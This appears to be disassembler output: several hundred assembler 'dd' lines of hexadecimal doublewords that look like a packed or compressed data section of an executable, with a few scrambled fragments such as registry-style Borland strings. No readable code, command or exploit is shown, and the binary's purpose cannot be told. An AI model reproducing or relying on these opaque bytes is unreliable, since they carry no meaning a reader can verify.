		dd 12000E5Fh, 4E4149D8h, 3FF1B95h, 907889Ah, 0F6D87AE9h
		dd 1800EB3Bh, 0A29A448h, 927D83h, 0FD8498C7h, 4538153Dh
		dd 0C400B3FEh, 288C3501h, 7AD9B1D6h, 0F30A024Bh, 4432CEEEh
		dd 4C515160h, 3E66F51Dh, 0B0C0BC1Dh, 5658B61h, 0D33C0074h
		dd 92D60317h, 0EB004D32h, 41F211C1h, 5758Ch, 73D69DAh
		dd 15CAD33h, 4E0E6A00h,	645D4B7Eh, 559500D4h, 172DB68Dh
		dd 0A5000296h, 9908ABE8h, 0E8480AB1h, 0E92A02FCh, 0C9F4D5FAh
		dd 2DE07B62h, 26006920h, 17210231h, 24C3838Eh, 53EEDCh
		dd 2AD2FB28h, 8B00BB05h, 22F581E0h, 0F0B0Ch, 0CD64938Fh
		dd 34C98491h, 79F27D0Fh, 0C6142092h, 2A7C303h, 50014289h
		dd 0F7E075D0h, 0D48212Ah, 2C023FC7h, 0F8009D7Ch, 38CB4A9Eh
		dd 863D039Fh, 768F4420h, 844DB412h, 2E804C1Ch, 611F0D5Eh
		dd 6952005Dh, 0ABBC4AEFh, 0EB0390F2h, 0E8051D21h, 8E14A8CBh
		dd 3BC43DD0h, 7FE18801h, 70294A2Ah, 431654E6h, 41E030Dh
		dd 9298E4C0h, 57861Dh, 0D4B755D3h, 349A9732h, 411A0E00h
		dd 0FF429271h, 73D7B20h, 824B568Bh, 0A85D4026h,	88002449h
		dd 643CA351h, 7522CFAh,	851F8D28h, 0F0671016h, 6A58BDD8h
		dd 0E90400EDh, 999812A0h, 2246009Eh, 97A884F5h,	1E0051F1h
		dd 75F0C3F6h, 4843A40Fh, 69004144h, 98897970h, 4A1F6864h
		dd 80C125C3h, 53A92B5h,	7CED0D8h, 45C50154h, 0AAE9708Bh
		dd 4B00509Ch, 57675D08h, 0E012F7h, 3F32CC95h, 48C3140Ah
		dd 3BC22B1Fh, 0C91456EEh, 990C0389h, 0D89AA5A6h, 0E8E244h
		dd 3D3B24F8h, 2C754248h, 4C3F71E6h, 81808256h, 0C025D4BBh
		dd 57EA2h, 709985E6h, 0DCABA5A4h, 108B8000h, 7402C2F6h
		dd 611C3A4Eh, 7204FA80h, 400B88F4h, 8833700h, 3B29EA01h
		dd 0ADC7078Bh, 0F0B60578h, 0C5065DB4h, 0EC081626h, 51132400h
		dd 459F8Bh, 0D332988Eh,	25C688A2h, 3DA16900h, 0A521A636h
		dd 5E740022h, 75B0295Dh, 0C60BD582h, 0E6ED30h, 10BE1249h
		dd 70E8078Bh, 0D0D7F54Dh, 0F14CB8E1h, 324C500h,	3B01C8C7h
		dd 8C0F02FEh, 0D71C4083h, 0BDB69DC0h, 0F8D33F00h, 0C1387516h
		dd 52905E0h, 0C5675333h, 7DED0087h, 4C8D0F0Eh, 789814F0h
		dd 29C81F00h, 0E9F7216Fh, 82F65Ah, 3F6D833h, 0AA285E02h
		dd 16AD300h, 0A96BD49Eh, 1BD8E1FBh, 3DD008Bh, 415DDE69h
		dd 0E70089FEh, 0F5753E4Ah, 343525h, 0C7A9823Ch,	84AEEADAh
		dd 27674B00h, 7C23DC2Eh, 5453005Eh, 15DB68C2h, 0E00F758h
		dd 28AA18F2h, 6034214h,	0A819C735h, 2C16B050h, 0C1071CD2h
		dd 0B502025h, 4A89F0h, 0E9D70675h, 0CA91DD73h, 5295AA00h
		dd 4D24B1DFh, 0C2960078h, 0E4F57F85h, 3B140697h, 859A81h
		dd 14831F2Bh, 98E0DAh, 932CEBE5h, 3587299Eh, 0D1322400h
		dd 0C3404A0Eh, 485D07C7h, 203A8FD3h, 93E25434h,	0C40029F6h
		dd 2356F72Eh, 0C2421h, 0ABAFD81Ch, 2B7A04A0h, 74F805FAh
		dd 77020900h, 641363E9h, 7EBFA4Ah, 5E5AA719h, 741460B8h
		dd 0FC00F25Dh, 7815D9B9h, 1731C422h, 4E6F25h, 0AB10837Eh
		dd 500C012h, 0EBFC5D89h, 76C364Dh, 330F7F19h, 4881D0F8h
		dd 0C2009FEAh, 0F40662CEh, 7DF04Fh, 84973802h, 1AA811F8h
		dd 9100CBF0h, 5C164BE8h, 0FC0747EBh, 7D890009h,	3821939Ch
		dd 0B8747C25h, 8140BC00h, 1815FF0Ah, 0D7650460h, 80011489h
		dd 54BF84FBh, 52DCB31Fh, 911C21C0h, 90022375h, 850800B5h
		dd 943274C9h, 1800037Ch, 22C88950h, 672042h, 0DA197559h
		dd 0F9D8E924h, 3A50577Eh, 3201528Fh, 0D0061065h, 45DCA6D7h
		dd 983D00E7h, 0AF0E026h, 0AA00040Dh, 5A03AFB0h,	0D105FFh
		dd 0ED808A48h, 0B79BE40h, 4677E800h, 7AF68B81h,	0E9100008h
		dd 0CB0126C3h, 0C903C8CCh, 0CDD0CFD7h, 0D8DB80CEh, 0DAD900CAh
		dd 0EDEDDDCh, 0E100E0DFh, 0E5E405E3h, 505890h, 2EA85152h
		dd 0C584B883h, 5ABC3Eh,	0C031B244h, 154C966h, 428F1E50h
		dd 0DD105180h, 8BD2F80Fh, 110388F8h, 6905489h, 1F91D0C8h
		dd 0C65F00CBh, 3916D7D8h, 770009F7h, 602F7413h,	2A7829h
		dd 0F8A5F33Fh, 3E1831Dh, 18A4D207h, 0E177431h, 7C3AFC30h
		dd 1950000Fh, 1AFD5311h, 6600CB58h, 6941C706h, 728143FCh
		dd 4C4000Ch, 5086092Fh,	0EB391290h, 8A0FFF01h, 0E0D14003h
		dd 0F576203Ch, 3B800007h, 530B7522h, 0CE2017Bh,	0C50558h
		dd 34E6EB02h, 4FE255Fh,	1B1CC7FAh, 88508043h, 62070414h
		dd 84135640h, 0DDD21B1h, 2E58F0D8h, 0ACD2C3h, 8028D818h
		dd 9C7F3D07h, 0CD7C8B00h, 20CE5F61h, 42B700F5h,	14D66A27h
		dd 800EE25h, 0C2F81CCBh, 788977h, 681E34E0h, 2C0B055Dh
		dd 92148D03h, 0C022B050h, 0C88B88h, 3AC677CAh, 0EE1EEB8Eh
		dd 3513F300h, 0DD3DB55Bh, 0B460216h, 0F4E4D268h, 4B0F5040h
		dd 0D5E9EB0Fh, 0CA63209Eh, 1DAF5CE0h, 40F2E80Eh, 73410C72h
		dd 0B7E00F67h, 6BF04500h, 3663CC0h, 0D2F23EEEh,	40401E9Ch
		dd 1F4558Bh, 0F60169D0h, 178A38E8h, 0E0DE1964h,	483C0533h
		dd 0E500384Bh, 8378825Dh, 0DF0108ECh, 589B8EC0h, 6CC85A5Fh
		dd 5B0C001Eh, 2DA31BD9h, 0FD0092A4h, 33285CDFh,	13FA2C16h
		dd 1CA959h, 0AB81C735h,	0D90F078Ah, 67A2BBD6h, 0D0009816h
		dd 381272h, 0E7F77C8h, 88AAD160h, 1470700h, 0DE7AD748h
		dd 2AC80481h, 80F7760Fh, 0E80CEB87h, 0C949B500h, 0A668A64h
		dd 62410068h, 0C131A990h
		dd 0E01F94E9h, 55C02203h, 51082027h, 0F6CE0BF4h, 0B40013EEh
		dd 80A61C26h, 0D9391A03h, 0F84E4575h, 23DB815h,	5A73E1B0h
		dd 92801BCBh, 0C21CE5DBh, 454EDE00h, 0D606EBE2h, 3A1672E6h
		dd 0F0FE5Eh, 8A367403h,	750A3A08h, 54306700h, 1489313h
		dd 9F4A00D3h, 401625B6h, 83780208h, 311AB200h, 0B3B9D7D4h
		dd 107A0138h, 0CF3FDA3h, 80FAB93Dh, 21D64EBh, 903119h
		dd 0CD88BB51h, 10E08650h, 0CD46600h, 83184CB2h,	0ABF33B09h
		dd 86311200h, 24405FAAh, 0F156900h, 8840541h, 89B202C7h
		dd 0E2F70BA2h, 0B04C3AE0h, 1452480Eh, 0CF26403Eh, 99036Fh
		dd 9229D031h, 0F2FB5AB9h, 190DB00h, 96F1F728h, 0F8300048h
		dd 0C7431C17h, 8003BE03h, 0C6057DF6h, 0FA2DE804h, 1F170088h
		dd 0F9018B47h, 0FFE68114h, 844F852Eh, 2307B90Eh, 7B97D929h
		dd 0B0A3000Ah, 8AD20F20h, 12001C44h, 754B2B42h,	0AD41F6h
		dd 51B82318h, 0E9968F82h, 2F9CB300h, 0CC2CAC33h, 94CE1D50h
		dd 0C6634773h, 20190BFh, 1E018A0Ch, 70FB8046h, 0B5CCF8D7h
		dd 2D0E03CEh, 2B0A69ECh, 248166D0h, 0FE78080Eh,	0FD58C061h
		dd 0F30025Ch, 28ACCBE2h, 26844FE1h, 623CC4Ah, 4EB2000h
		dd 0EE347F0Dh, 24C02630h, 392C0093h, 3F28E8F8h,	1C048D0Fh
		dd 0D89BC001h, 1340555h, 0CDFEE675h, 0F8D4E486h, 5905127Ch
		dd 3289F631h, 90461780h, 7703486Ah, 78F07E00h, 0DE29D9EEh
		dd 0FE00EC71h, 0E451C56Eh, 48ACBFBCh, 32008E1Fh, 92DF7430h
		dd 3007261h, 5420A2CAh,	0EA0B7643h, 1F110010h, 4CD07705h
		dd 0BF010AC3h, 565A90C9h, 0D5C05D04h, 1A97DEBh,	0FAFFB150h
		dd 0C0427D2Ah, 70074EDh, 0FE288840h, 7512C9h, 3C1E5AF2h
		dd 6C430253h, 7301FA00h, 90517497h, 8B440035h, 0ECF85442h
		dd 52005D36h, 195A8C68h, 0FE570926h, 0EB84Ah, 0FF1250A9h
		dd 0D32BF03h, 1B48AC04h, 35C0C69Fh, 0BFC5C14h, 8C7C3D74h
		dd 4C08F000h, 2F00B859h, 8304D250h, 2E01F835h, 0CD290Eh
		dd 900B1B22h, 0AC0325FFh, 338B4C79h, 6350E0DBh,	50C741Ah
		dd 1C753E07h, 701D802Ah, 91009225h, 0D41A1B0h, 3F29845h
		dd 161F4C22h, 0A09801B3h, 0F4004028h, 57037B0h,	0B847604Fh
		dd 8D736Fh, 6A6250FCh, 0F6386886h, 653A652Eh, 6BE84700h
		dd 378323Fh, 5511E04Dh,	2DA06168h, 3000FF64h, 1B2089CCh
		dd 0F445C7h, 0EE608691h, 0F808CB50h, 69C52C00h,	0AC8B8954h
		dd 34E683h, 8AEAA267h, 63C41618h, 0E0985200h, 0A16628EFh
		dd 25EC0071h, 97FFC02Ch, 8700F89Fh, 0C33FE283h,	0EFBC20Bh
		dd 9C2A59A3h, 4F53003Ch, 41575446h, 450052E0h, 726F425Ch
		dd 4C3C616Ch, 44003C6Eh, 6870C765h, 5200F169h, 46C04C54h
		dd 550350h, 6B73614Dh, 756CA056h, 94653Dh, 2AE3C38Bh, 12C3AB7h
		dd 60D7C7ACh, 2031D470h, 0E1D8A20h, 0AE408D41h,	93AECFAh
		dd 3FE800D8h, 58C2F748h, 1BEAE913h, 0DE747703h,	90751ED3h
		dd 77BBC36h, 0DC4A76FAh, 0E8075001h, 0AE1E2D37h, 0F6479C45h
		dd 0BE50E975h, 0C6C831h, 0A46B5C54h, 49AC08F3h,	0D3009AB0h
		dd 3C0C141Ch, 2B980Fh, 8F64121Dh, 92780551h, 0E03E307Eh
		dd 19A2004Ah, 2379DDD0h, 0C5942E96h, 0B2DA043Fh, 51318001h
		dd 6C034BFCh, 0ABD7CB02h, 41D8B88Bh, 120FADAh, 65580DDBh
		dd 0E859247Ah, 63020E6Bh, 0B82CE24Ch, 1C1E096h,	5B0D0351h
		dd 706731FEh, 0EBD81BC3h, 0D47539EDh, 8DE1D2Eh,	1C006F2Eh
		dd 3EA6734Ch, 6BE00F6h,	0C827B2Ch, 207F3834h, 75493700h
		dd 0A8E3453Bh, 0C9D90154h, 3981DB10h, 1A9AECD0h, 407578F4h
		dd 4BC3F300h, 57A821B0h, 596A0093h, 38D0684Ch, 0D1C247Dh
		dd 510039D3h, 6602C783h, 0F8AF00F2h, 6459550Ah,	0C3007F8Bh
		dd 290B0358h, 35CF0C8h,	96F7FC47h, 44C0B891h, 1126D480h
		dd 2401303Ch, 1A1C8F53h, 0F69009E8h, 0A5F0217h,	1886C0DEh
		dd 67E8E740h, 58FCA912h, 0D905A300h, 0E1FF5Bh, 0A5089F0Eh
		dd 0E802F061h, 53515200h, 818FF689h, 0F4500084h, 1058E012h
		dd 6E7E6463h, 69911900h, 60F57108h, 0DF2D000Fh,	0CA43B8Eh
		dd 0A0002FBh, 405A595Bh, 91E3FF0h, 2C45FC9Eh, 90C1300h
		dd 22000E74h, 4950811Dh, 23581Eh, 47257531h, 8BF09821h
		dd 0FF131000h, 2895F852h, 0E4090007h, 7FBAAC58h, 0EF00D4A3h
		dd 0E8060EAAh, 0E0759Dh, 43D8012h, 7601E141h, 0C26A1000h
		dd 0DF056B66h, 4FED48FAh, 359C1200h, 0C11C24CCh, 0F516DB2Ch
		dd 6A546200h, 3423D02h,	0A30C92E4h, 99D99808h, 147670D1h
		dd 0A04A200h, 0F09C550h, 0E573008Ch, 8B547FE9h,	77EA064h
		dd 12A45300h, 0C9967C9Eh, 418900F0h, 39800103h,	8A983DE9h
		dd 75EB0A02h, 60BE0F0Ch, 0F898F25h, 539A650h, 647CD7E0h
		dd 0E4001C68h, 6BDDBBE1h, 0EF106EA9h, 8A2F30h, 50280A5Ah
		dd 20A45211h, 8DE2421Eh, 76ABF0C2h, 0BF46E01Eh,	53E31E88h
		dd 0D31C4148h, 0ECF72683h, 8A00DA39h, 12850F16h, 1D814543h
		dd 400EDE38h, 6018508Bh, 74001448h, 0E816FC6Eh,	0A41B5Fh
		dd 0A29E0C4Eh, 840FD283h, 512EF000h, 14B216FFh,	8B2507E6h
		dd 45BC5E9h, 0CE898094h, 1A00EFFAh, 5A37740Eh, 3FE0A5ACh
		dd 76808B08h, 163B2729h, 0B4002077h, 0C2A15051h, 1365AEB3h
		dd 0EE2439h, 0A2BAAEBh,	0CAEE7B30h, 0FBE20C00h,	3B920BBAh
		dd 1EAB1D85h, 50154061h, 828C638h, 59EFFE00h, 74F1513Dh
		dd 48E0006Fh, 53020B04h, 0E202DB31h, 1B1A614Eh,	0A54161E6h
		dd 0FA1EBB60h, 5468005Fh, 0D348D12Fh, 0E8909B29h, 79247C00h
		dd 0B0FF0EE7h, 286D0014h, 8B2606A0h, 300D56Fh, 47C7045Fh
		dd 512D9Fh, 5760F931h, 0E3FF88A7h, 0AD36B907h, 50806F19h
		dd 0E891127h, 4108A890h, 0EBE92A40h, 0B8005EFEh, 2C8A51D4h
		dd 4586EC8h, 26911F74h,	52B28044h, 75001801h, 0EAE90A1Ah
		dd 9E62B9h, 2C444D42h, 2189084Eh, 67017F70h, 718D0559h
		dd 0C5EC3D09h, 0B50600A6h, 0EF16439Eh, 3F005A4Bh, 84F87424h
		dd 48041h, 0E64F3BD8h, 64176775h, 57B5D41Ch, 9CE269C0h
		dd 189093Eh, 610BE842h,	0C48C74CEh, 695CDC7Fh, 0D075002Ch
		dd 4B08C683h, 0F2C000B2h, 0A161A486h, 26031499h, 0FF41C4B8h
		dd 0E992F88Dh, 946D0E1Ch, 2BEE5923h, 449E21A0h,	27482214h
		dd 6CF11E42h, 0F238689h, 56986136h, 0A3E88844h,	1E5BEA30h
		dd 8F92899Ah, 8D20CF86h, 93E8EC53h, 9879105h, 0C4E00463h
		dd 87BE1h, 2480A48Ch, 42C78F54h, 31288500h, 8BDFA3ECh
		dd 2208306Ah, 5684DBDEh, 2489D100h, 28603949h, 54050F5Ah
		dd 53A05755h, 9507C888h, 444E4200h, 52E9F62Fh, 8654008Bh
		dd 6AA0C730h, 83018897h, 0A427BEAh, 0D471B089h,	60EC7931h
		dd 39FD0004h, 1EA80DF0h, 9200A4B5h, 0C9C543EAh,	3BCC031h
		dd 1C0648DFh, 12D85910h, 28001189h, 49A78D6Fh, 473A6Ah
		dd 0C664955Ah, 0C49674B6h, 5442E00h, 0D103E85Dh, 0E2FF00C7h
		dd 4D588038h, 1500CD5Eh, 5034C056h, 0C2BE02h, 4AB80C52h
		dd 3F1FFC5h, 3854491Ch,	86E97282h, 92836048h, 0C0070020h
		dd 5C742C7Fh, 0F018E95h, 57221509h, 20C8052Dh, 0BF8700DDh
		dd 483D1ECFh, 0EB3F4E80h, 84713060h, 83073Fh, 369429E8h
		dd 52E130E7h, 43963D00h, 3814112Ah, 93762Dh, 13462E33h
		dd 0EB24060Fh, 0FDEA3A1Dh, 502F18C0h, 77E968Ch,	0B02C1D26h
		dd 1E2A40C8h
		dd 781C3DC9h, 229DCD7Ch, 6567CF0Fh, 87C71A21h, 0CE471627h
		dd 0D8871267h, 0DAC70EA7h, 0D9E70AE7h, 0CAC406E0h, 16272EFCh
		dd 8D900536h, 808E1D8Bh, 6C01E3E8h, 400C25Dh, 0F3942467h
		dd 402993h, 2690F1FAh, 7074503Dh, 0CE00A27Bh, 99CB9238h
		dd 1D90836h, 72F65232h,	0EC3B8189h, 300053D0h, 1817438Fh
		dd 12381D74h, 0BCFB82h,	0B1D889ABh, 0B600EF84h,	4BFA4419h
		dd 74E1Fh, 46A3120Dh, 945C3749h, 0D9B8850Fh, 14510204h
		dd 6DBB878Ah, 124F60F0h, 0AA090752h, 505B290Ah,	94ED2677h
		dd 68F6E300h, 0A005F8F5h, 0D81A01B5h, 0BAC804Ah, 0C8B63047h
		dd 38657502h, 0C02E536Ch, 7F9836Eh, 39A174FFh, 9DF5F001h
		dd 0A4008922h, 68A2E984h, 0D49CBFh, 3E434B93h, 57E148C2h
		dd 70E80C00h, 0E9A79504h, 505800BEh, 7E1DDB85h,	0F0004B12h
		dd 4DE4433h, 9749D4h, 7F24D031h, 0C4BA3DEEh, 0B214EB00h
		dd 73E809BDh, 0A96C0023h, 0B4DF9A3h, 3CFE5F3Eh,	0A1856000h
		dd 0CFDFE8A4h, 30C3034Bh, 78A2DB33h, 341E5E90h,	3B121400h
		dd 1A057EF3h, 0C1DF0004h, 49A81D3Eh, 28EEB127h,	4AEC7F00h
		dd 1151E360h, 9CBE00BAh, 0C47D8D04h, 0A790E9B9h, 8FA5F301h
		dd 2164BC05h, 1429B20h,	10B02D89h, 0EF84B41Dh, 1508A4F8h
		dd 8D87AC00h, 0DF5C44Dh, 9377D17h, 0FC7D8397h, 35B5A100h
		dd 6792008h, 0C92BE803h, 880C45FAh, 1CC0A240h, 4359481Dh
		dd 0C4151BB8h, 0FF03E990h, 2F967100h, 2836156h,	417E1D05h
		dd 3D2580EEh, 7594C81Ch, 0C6180D1Fh, 1132481h, 26F95AD9h
		dd 4CBB20h, 0CB222C48h,	95D3E834h, 0A345C501h, 18247444h
		dd 3C9F30h, 160646B2h, 6B202778h, 0F5B93805h, 2080EE93h
		dd 14E1C3Ch, 124A892h, 0E832A9C8h, 0EC0E040Ch, 0C1D210ACh
		dd 0BBBF30C7h, 0E6803CB9h, 115ABE5Ch, 13001280h, 0F294834Bh
		dd 383C22h, 334AE877h, 30BB354h, 0D0299200h, 595C44BBh
		dd 1B98FFh, 0E68A0FE2h,	57C01750h, 63E8C102h, 80B4ED9Ah
		dd 46EA32E3h, 23F011h, 77FF0C1Dh, 0F820061Ch, 3E933700h
		dd 5D2656A4h, 73870015h, 19D8F70Fh, 0C9074045h,	32BBB684h
		dd 3885609Eh, 1806BEh, 250B34BFh, 0CE587B80h, 83161C0Fh
		dd 0BEE0203Fh, 5F8917h,	6F3787D0h, 0FBC2E803h, 75231200h
		dd 381A08EFh, 47743E40h, 25581383h, 0EC88A34h, 0BA001685h
		dd 0B88C4228h, 1FA27214h, 803E8FAFh, 0EB0B12ACh, 0CF01C62h
		dd 75226000h, 6ECF7013h, 0B4150048h, 0E186926h,	0F212163Eh
		dd 0D60029ADh, 0A750204h, 0F64C28BEh, 268907FEh, 0F0080C43h
		dd 7622012Bh, 503EB2F8h, 0AA18005Fh, 6DFBE8C0h,	192E1F37h
		dd 3B0079FDh, 587404CCh, 22007F06h, 0A64BEAEBh,	75482Dh
		dd 285314C2h, 0C01292B7h, 980D1500h, 0A03B831Ah, 66F0041h
		dd 8BCBC660h, 560003C1h, 0FB6C097Bh, 7A5E0438h,	508C00EBh
		dd 6974726Fh, 73036EA0h, 3D437920h, 3FFAA070h, 7A680067h
		dd 2963281Fh, 39003181h, 0D32C3338h, 1CCCBAFh, 3718B76Dh
		dd 60918990h, 9707E9FBh, 238FF5ADh, 0B75C7C90h,	8B8400E3h
		dd 1C2ED110h, 5138C2C7h, 0F84A072Dh, 0F0D07C49h, 0EFF6Ah
		dd 8D5007CBh, 57E8D242h, 6B0068F8h, 60C47858h, 2C8BD618h
		dd 275513h, 0EC80342h, 29E40865h, 4EEAB000h, 6CA3DAFCh
		dd 24510030h, 1A7F4145h, 1700F5B4h, 93750542h, 0FAFE227h
		dd 13481864h, 0F65A00DFh, 0B78C97EBh, 0A1876E00h, 4C4B147Ch
		dd 21440095h, 2A7E150Ah, 203B3BF9h, 501C0054h, 95F8375h
		dd 10180026h, 895A081Fh, 6FF4FC97h, 1768F803h, 0F86B04C6h
		dd 38BA546h, 25C0E390h,	0F8E1C1D6h, 0FEF9E458h,	96BCC700h
		dd 7A980914h, 95F00053h, 3277E45Ch, 0F0026CFh, 0EC96573Bh
		dd 0F38597h, 0D9F1D3F8h, 0B35EEAF2h, 97F8F00h, 8223C74Ah
		dd 816700EBh, 8B7854FBh, 64002C7Dh, 9708E0BEh, 40CFC90h
		dd 55532850h, 7B40C010h, 0A90086F1h, 0D7E27B8h,	0C70441h
		dd 323ACEE9h, 0ECD93306h, 6098B57Bh, 0C5204401h, 16225498h
		dd 293160h, 80CA4607h, 0C09CB8B4h, 89145200h, 95D1B9E2h
		dd 175B032Ch, 41151268h, 3A522198h, 83D50A3Dh, 1945132Fh
		dd 0FD02C0E2h, 0E03E60Bh, 695E3A62h, 0ECE8EB01h, 1CF1306Ah
		dd 295AD100h, 2712E5E4h, 41240065h, 66522D30h, 620C9B3Bh
		dd 70340A20h, 82C30E0Dh, 6AF280Eh, 0EB081941h, 496892E4h
		dd 763A8A00h, 7621D725h, 3C901FC2h, 4252C38Ah, 57C0014Ah
		dd 891D5150h, 0F20720D7h, 3B0AE5Ch, 158D1F7h, 5F9AC101h
		dd 70A41992h, 0CB03ACB0h, 0EA0F7061h, 0F234D8FEh, 8B770103h
		dd 35C9FC7Bh, 0DC8E43Fh, 0E2840F00h, 8A2734FDh,	798B000Eh
		dd 85B97EFCh, 391EFA01h, 77EC02CEh, 7A4A2C00h, 4E0E41h
		dd 2413269Ah, 0F5A48F46h, 6217AA00h, 83AB42F7h,	0AF3D07D0h
		dd 91618828h, 213BA044h, 517460AFh, 68BC0800h, 0F9233450h
		dd 0E94F00C0h, 0ED42933h, 0D3003958h, 250CE16h,	3FC5Fh
		dd 49756E46h, 0D809DFC7h, 0B34B8B00h, 0A2FAF277h, 53030063h
		dd 0A5580F91h, 5C004320h, 0F84F33F7h, 48A48CFEh, 0CA000271h
		dd 0E6A0BE9h, 5400AE51h, 0A650528Dh, 8BED40h, 104F944Ch
		dd 41112FD7h, 714AFC00h, 305A56CFh, 8BC60007h, 6F149C44h
		dd 0B800F5D3h, 5501D834h, 0D054CEh, 7E2AE975h, 0ACC8EF82h
		dd 5AC44A00h, 248D5801h, 0E0FD0094h, 3E6CD92Ah,	3900F145h
		dd 8FC709D0h, 3EA5CB29h, 8200687Fh, 0AE1C8B6Bh,	0C05857DCh
		dd 277007Ch, 5213C201h,	0B4EA00C1h, 1FE40E4Fh, 4A145888h
		dd 2C954E89h, 4003A310h, 0E0E6C7C6h, 7F786h, 0FE5A6FBEh
		dd 2C2250E0h, 41813800h, 34761702h, 0E3A1E18h, 0E3678410h
		dd 0CA7DC0B8h, 300006E1h, 0C0012773h, 7F23EB2Ah, 0D4FA61h
		dd 151307D6h, 0CF62B25Ah, 0A4D0E301h, 2A590ACh,	1F850D8h
		dd 0B078C442h, 60119743h, 8001DB44h, 0FB3AF9B8h, 2822C77h
		dd 0FA34A86h, 390225D0h, 13A424DBh, 9D4AC190h, 0C51FD868h
		dd 80CC1EE7h, 36D0895Bh, 7E008BF8h, 0FC58252Dh,	70261BC0h
		dd 27C754Ah, 1F7DDA39h,	5068D329h, 9E000519h, 0F416117Fh
		dd 6394C9h, 313A7D25h, 89E50AD2h, 2A93D900h, 126CB113h
		dd 9ED50F5Bh, 1FF6BC8Bh, 0C0575F87h, 0FC304086h, 7C004E3Fh
		dd 7D123D4Ch, 430126h, 0F129227Eh, 2D9CFE9h, 3F42BC3Eh
		dd 8DF200F9h, 7F4D3A04h, 52FB0724h, 10FAF0A1h, 0DF4C4762h
		dd 4087A900h, 70317992h, 4F8B0088h, 8334F1FCh, 7803044Ah
		dd 46068A1Bh, 147ED9C1h, 10D5F4h, 3BCB8937h, 15A6F3C3h
		dd 0C746000h, 5AEC128Ah, 57FF051Dh, 0C0415E08h,	273AF875h
		dd 6A985100h, 0FF314390h, 489B0028h, 23AFC2FCh,	0E0007883h
		dd 0EC1D756Fh, 0F92A09E8h, 1C87A1FBh, 0A5F884F5h, 8B75003Ah
		dd 701A40EEh, 0AE0790FCh, 28DC3050h, 949B0C60h,	0C93207AAh
		dd 0B021FAD2h, 477CF139h, 9D4BB600h, 4502C80h, 0B86F75E9h
		dd 0D43400B4h, 455DB2CAh, 0C81D30DBh, 0F31EF729h, 593D4080h
		dd 0DA8906h, 1347E95Bh,	9C36C34Ah, 83A8B83Fh, 1E0EC81h
		dd 0E2FAE0A3h, 41B5007Ch, 903C37E8h, 7900F01Dh,	7D28F320h
		dd 1F240A80h, 403175FFh, 856AE3DBh, 1F07AE15h, 0C45B1C59h
		dd 0AAF8C910h, 504D0322h, 0F5743158h, 0B586C194h, 0C066F932h
		dd 87FB0E4Bh, 0CE4652CAh, 10584960h, 0D1350096h, 590CD722h
		dd 50009A20h, 32125B3Bh
		dd 0EC8814h, 8A532E44h,	4F3924A8h, 6113B300h, 897C620Eh
		dd 4CE21D06h, 5A94075h,	0FF0912A3h, 6DE42E00h, 0EC7F4F14h
		dd 0FE52039Eh, 0E0F94B7Ch, 2089DDC1h, 0D600FAEDh, 0E506ADA0h
		dd 8001F4h, 7BBFF85Ch, 0A80B0ACEh, 0C1E4600h, 0D3F5890h
		dd 7F6200A0h, 0F7B400Eh, 881266C8h, 0D80012B2h,	5893598Eh
		dd 0CF22F66Fh, 7FC0012Ah, 0E9D6980Ah, 0DBD24503h, 0F0F35214h
		dd 78EB19h, 30071A91h, 1DCC2C58h, 1A86A58h, 0D4612D44h
		dd 10F0BB28h, 433E4C0h,	0FEF39450h, 89A0C052h, 54008BD5h
		dd 2C8E0A2Eh, 0CB5C03h,	4A0D8F02h, 638AB406h, 241D2D0Fh
		dd 351940E8h, 771A493Dh, 37FD0171h, 5DF01650h, 431ED4EBh
		dd 0E8730400h, 0F243846h, 0F2940077h, 54A97D11h, 9D0049F1h
		dd 0D1285C61h, 984AE98Ah, 70B31F84h, 0DA48C08Eh, 0C6087544h
		dd 7761C400h, 0E57F9C8h, 708E075Bh, 306A2D4Bh, 463A7620h
		dd 0CD25F50Fh, 554F409Ch, 7740561Ah, 287A7E59h,	5DFD6D0h
		dd 1C2F89DBh, 41918024h, 14039BCCh, 0CE920BFAh,	5749A8D0h
		dd 0D45D003Eh, 0D8CCB056h, 4B002B31h, 22CF2529h, 9B3D09h
		dd 0AA1DD5AEh, 5098BEE1h, 0EF335600h, 48CD832Ah, 0BD5B0971h
		dd 5F80325Fh, 84F85A85h, 0FDB21C00h, 0A81E532Bh, 0BF3100AFh
		dd 0D21D1499h, 0F802BB85h, 19385755h, 606FC2C7h, 0BD0FDCh
		dd 10C2731Bh, 23DE0892h, 0F77993F2h, 765E938h, 0FA832875h
		dd 0E0EE72E7h, 26BD9981h, 10372EB4h, 190E3DF6h,	73E02A56h
		dd 27C7661Ch, 0E9289102h, 0E0485E25h, 8BA18Ah, 0E4D414A3h
		dd 88909DA4h, 64836602h, 0C02A8038h, 1818764h, 5F3E868Dh
		dd 4084F742h, 0EB2720CEh, 51FF100Ch, 419FC15h, 0C3A78AAEh
		dd 6071805Ah, 7304123Ah, 0DB77B111h, 0E78611C5h, 0C41007Ah
		dd 7099C3CDh, 14057F3Ah, 757E0FB1h, 301D7980h, 8F580002h
		dd 72BD0486h, 1300C6A8h, 0E5DA0908h, 0FE4C8A52h, 1E507A0Ah
		dd 0BF6493C3h, 981AB80h, 1C850FC0h, 96883900h, 0F02FE0A2h
		dd 0FC021DE4h, 2D51407Dh, 0A9104B9h, 31345901h,	458D12D8h
		dd 0E7B0BF8h, 558F6833h, 40DC2D60h, 0D476D84Eh,	0E43E4A98h
		dd 9C9294F2h, 2C3503F1h, 88E3CCA8h, 1385150h, 0CBD48A23h
		dd 7056B2CFh, 6B00B387h, 0B5657C25h, 797B1D83h,	62CD005Ah
		dd 0F926845Bh, 7014923h, 2D350371h, 27DCE24Fh, 53C800FFh
		dd 2C30EB4Ch, 0CF02D1D6h, 0FE8AE7E8h, 0CA82E095h, 0C0756Dh
		dd 0C336835h, 0ACDD5634h, 1209200h, 5482ABAh, 2F2200FDh
		dd 9B511998h, 32008C07h, 0F80A0389h, 0E6443EAh,	2FC0C08h
		dd 9A34EB60h, 7D008F4Ah, 0D15727AAh, 3515C18h, 2B4EAD53h
		dd 28BBA5BEh, 44959C88h, 8A971202h, 0C03BFD01h,	72EE3D6h
		dd 0D266E56Ch, 57A5C7A3h, 9794F008h, 0D800E0C3h, 7E85109h
		dd 7C5BA2Fh, 6962279Ah,	763AC05Fh, 6D01EE74h, 8BDE9C53h
		dd 0D9C187EFh, 3D8E230h, 82DF0D75h, 0A0A4E84Ch,	3203E259h
		dd 0A4133D59h, 305A875h, 210801FBh, 0A31D319h, 0F7D5C048h
		dd 22135500h, 4271109Dh, 949600B4h, 93CBE658h, 0E77BC295h
		dd 2F9B3000h, 0BF4B2D87h, 5EC00034h, 0D383D4CCh, 2177F869h
		dd 0A3110A00h, 63579D5Ch, 0B9510079h, 914C4DB0h, 0F600D6CEh
